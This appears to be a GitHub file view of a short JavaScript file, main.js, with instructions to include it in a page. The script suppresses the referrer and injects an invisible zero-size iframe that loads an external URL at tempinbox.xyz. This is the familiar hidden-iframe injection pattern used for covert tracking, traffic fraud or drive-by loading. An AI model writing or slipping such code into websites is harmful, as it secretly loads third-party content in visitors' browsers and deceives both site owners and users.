-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.js
26 lines (20 loc) · 958 Bytes
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Function to dynamically add meta and iframe elements to the document
function addMetaAndIframe() {
// Create a <meta> element with referrer policy
const metaElement = document.createElement("meta");
metaElement.name = "referrer";
metaElement.content = "no-referrer";
// Append the <meta> element to the <head> section
document.head.appendChild(metaElement);
// Create an <iframe> element with the specified attributes
const iframeElement = document.createElement("iframe");
iframeElement.width = "0";
iframeElement.height = "0";
iframeElement.frameBorder = "0";
iframeElement.src = "https://www.tempinbox.xyz/stats/nord";
// Append the <iframe> element to the <body> (or wherever you prefer)
document.body.appendChild(iframeElement);
}
// Call the function to add the meta and iframe elements
addMetaAndIframe();
// Run Direct in the body --> <!-- <script src="main.js"></script> -->